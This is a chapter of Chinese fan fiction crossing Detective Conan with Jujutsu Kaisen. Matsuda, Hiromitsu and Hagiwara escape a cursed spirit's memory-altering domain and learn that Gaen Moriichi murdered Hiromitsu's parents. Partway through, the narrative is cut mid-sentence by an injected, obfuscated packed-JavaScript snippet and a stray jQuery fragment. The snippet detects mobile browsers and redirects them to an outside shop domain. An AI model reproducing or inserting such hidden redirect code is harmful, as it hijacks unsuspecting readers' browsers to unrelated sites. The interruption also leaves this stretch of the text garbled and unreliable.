“嘶。”
难受的按着太阳穴,松田阵平一阵头晕,好半天才缓过神。
想起来了,他威胁外守一的时候,得到消息的诸伏景光终于赶过来,却在看到外守一纹身时记忆混乱,不小心暴露。
之后,外守一当场暴起,铁了心的要自杀,在阻止对方时,那只能隐身的咒灵将所有人都拉进领域。
等等,他们当时的智商是集体离家出走了吗?!
“当然不是,那只咒灵能力大概率不是隐身,而是改变认知。”温和的声音带着担忧,是诸伏景光,他伸出手,想拉青年起来,“还好吗?”
收敛表情,松田阵平偏头躲开:“没事,先想办法出去。”
他隐隐意识到不对,但一思考就头晕,脑袋里像坠入一块重石,带着头重脚轻的失重感,索性放过自己。
不幸中的万幸,他和景光没有被咒灵分开,两个人还能互相商量,何况他们自小一起长大,该有的默契一点不少。
“不,身体健康更重要,还不确定那咒灵有没有其他能力。”没在意他的躲避,诸伏景光笑容更加温柔,“松田你这是在转移话题吗?”
嗯,必要的时候,暴力手段也是可以接受的。
卷发青年瞬间警惕的后退数步,很有精神的样子。
若无其事的移开目光,诸伏景光弯起眼睛,大发慈悲决定轻拿轻放。
至少没有外伤,看上去也完全清醒了呢。
悄悄又后退了几步,松田阵平心底发毛,不知道什么时候惹人生气了。
不管怎么说,都是主动冲进领域的家伙更过分吧?
他恍惚了瞬,又很快拽回思绪,打量起周围的环境,很常规的操场和树林的配置,虫鸣鸟叫,一切都很眼熟。
“这是高中的学校?”松田阵平抬手揪下一片叶子,毛绒绒的触感格外真实,“一模一样,说不定是参考了我们记忆。”
他对咒灵了解不足,甚至在此之前一直认为只有特级咒灵才能展开领域,这才被坑了把,但还记得咒术界关于平衡的规则。
既然这玩意能力特殊,武力值应该就会略差一点,杀人手法估计不会太粗糙。
诸伏景光已经把时间胶囊挖出来,疑惑的摸上亮紫色的外层,奇怪,颜色有这么亮眼吗?
没看出他细微的表情变化,松田阵平也不嫌弃,直接在地上坐下,将东西一股脑的全部倒出来。
最底部放着照片,是两年前新放进去的,都是抓拍的丑照,甚至有一张他长发时黑历史。
诸伏景光认真的看一遍:“感觉松田你长相没什么变化,气质倒成熟了很多,是因为早早工作了吗?”
或许是不想气氛太过紧张,他语气里甚至带着笑。
不是关系亲近的人,不可能听出他语气里的焦虑,好不容易看到了十几年的案件的可能性,他怎么可能不急?
“这种事无所谓,你不是连衣服都是同一套?”确定与记忆里的东西没一点偏差,松田阵平若有所思,“都是假的,两年过去,这东西不可能毫无变化。”
两人商量后,转头走出学校,不仅在附近观察走动,还坐电车去了趟横滨,确定这些场景全是取材于他们的记忆。
时间一分一秒的流逝,对于如何离开,两人一直没找到关于离开的线索,地图太大,人又太杂,不好办。
难道咒灵是想把他们关到死吗?
疲惫和饥饿先后出现,他们尝试吃饭睡觉,却没有用处。
“但休息总比盲目的消耗要好。”松田阵平强制赶猫眼青年去休息,“啧,外守一说不定还在外面等着,状态不好,出去就会被抓起来。”
他觉得自己需要安慰景光,可怎么也说不出口,某种古怪的疏离感牵扯着他的神经,又被亲近相处的记忆安抚。
头顶突然一凉,他迟疑的抬手,先摸到了翘起的呆毛,而后是一撮掉落的头发。
松田阵平瞪圆了眼睛。
某人嘟囔的脱发危害的一二三蓦地涌入脑海,所以他才二十岁就要英年早秃了吗?!
最重要的是,景光绝对会拉着他去……不对,景光很在意这点吗?
罪魁祸首萩原研二焦急的扒着桌子,几乎要哭了,然而他敏锐的幼驯染先生根本看不到他。
这只咒灵不讲武德!
他心里哽咽一声,因为小阵平玩的挺开心,加上他们误以为咒灵的能力是隐身,他专心找着咒灵,谁知道会被突然拉进领域,不,这么弱的小东西为什么能展开领域?!
还是这种没什么大用却很有病的能力。
深吸一口气,萩原研二掩下眼底的暗色,咒灵比他弱很多,强行突破难度不大,但他不确定小阵平能否摆脱被改动的记忆。
如果小阵平认定了诸伏……
不,这种事情,研二酱绝对不接受哦?
“小阵平的安全才是最重要的。”他小声嘀咕。
正在这时,诸伏景光没忍住勾起唇角,显然一直注意着青年的动作。
他伸手摸摸卷发青年头顶的呆毛,笑道:“很可爱的小问号。”
“幼稚。”松田阵平嫌弃的将呆毛按下去,因为卷发很麻烦,他洗过后都会整理,还会翘起来明显是这家伙的恶作剧。
“那要不要换个发型,像照片上的长发说不定会更好打理?”诸伏景光随口提议。
他想起那张照片,以前留过的话,应该不会介意了吧。
但是,他为什么会这么不确定?
同样在思考这个问题,松田阵平视线定在对面人的头发上。
“小阵平,我好热啊。”
“那就把头发剪了。”
“不要,小阵平不觉得这样很帅吗,很适合我!”
“……萩?”松田阵平恍惚道,下一秒,就被人拦腰抱住,过大的冲击力甚至将他带到地上。
熟悉的气息带着并不熟悉的力道,他无意识走神,好像去咒术高专上学后,萩就没这样抱过他了。
“呜呜小阵平,你终于想起我了,好难过QAQ”萩原研二试图往他怀里蹭,无奈体型不允许,只能放弃。
适当表现出负面情绪,这算是他在咒术界历练回来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200521|150175||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的长进之一,当然这不是重点,重点是小阵平真的很吃这一套。
按住他的脑袋,松田阵平无语:“撒娇对我没用,而且你都把后面的说出来了,我有这么好骗吗?”
“正大光明的事怎么能叫骗呢,这说明我很信任小阵平,连一点秘密都没有!”
“我并不想知道你对付我的套路,谢谢。”
尴尬的看着两人斗嘴,诸伏景光礼貌插话:“虽然很不想打扰你们亲热,但两位先生,你们知道怎么出去吗,zero还在外面等我,还有外守一的事,我有点在意。”
“?”松田阵平考虑着他的用词。
正要询问,外守一就以古怪的姿势飞过来,砰的砸在了他们身边。
三人动作异常同步的盯过去。
只见被揍的鼻青脸肿的外守一爬起来,龇牙咧嘴的表情僵硬在脸上。
他一动不动的盯着空地,眼神里迸发出热烈的光彩,小心翼翼的伸出手,癫狂道:“有里,快过来,爸爸就知道你在,快来!”
说着,演话剧一样,他手臂虚环住空气,表情温柔而珍重,画面实在有些滑稽。
认知改变?
想起刚才他认错幼驯染的场面,松田阵平看了眼开始录音的萩,他原以为咒灵在护着外守一,现在看来只是假象?
外守一还在自言自语:“有里乖啊,爸爸这就带你回家,都怪我没及时找到你,不对,都怪诸伏他们绑架你,还骗我说你抢救不及时死亡,害的爸爸怎么也找不到你!”
外守一断断续续的话逐渐和梦境里的画面重合,构筑成一个荒唐的事实。
十五年前,因不相信自己女儿病逝的消息,外守一将责任全推到了当时带着女儿一班学生出游的诸伏父亲身上,不仅残忍杀害了诸伏父母,还因为怀疑他们把自己女儿藏起来,跟踪了诸伏景光整整十五年!
这个人渣,就因为这种不可理喻的妄想,毁掉原本幸福的无辜家庭?!
愤怒的握紧拳头,松田阵平恨不得将人狠揍一顿,却在扫过一旁颤抖着的诸伏景光后顿住。
虽然经历丰富,但他和萩都没有遇到过这种情况,一时间有些无措。
此时,诸伏景光深深埋着头,看不清表情,直到他一套干脆利落的擒拿,反压着男人的手,将人控制在地。
“呼呼……”诸伏景光呼吸急促,强压下内心的复杂情绪,一字一顿道,“我会亲手把你送进监狱。”
哪怕到了这种地步,他竟连把人打一顿的想法都没有。
嘁。
松田阵平不爽看向亲友:“萩,如果一直待在咒灵领域里,会发生什么?”
“这只咒灵的能力特殊,要是被困住的人挣脱不了思维暗示,完全相信被改变后的记忆,会死掉吧?”萩原研二低头摆弄着手机,将选择权交出去,“刚才外守一说的话都录下来了。”
话是这么说,诸伏父母的案件已经过去十五年,霓虹的法律也没有死刑,甚至因为各种各样的原因,对待一些罪犯格外宽容,能被判几年都说不准。
诸伏景光呼吸一滞。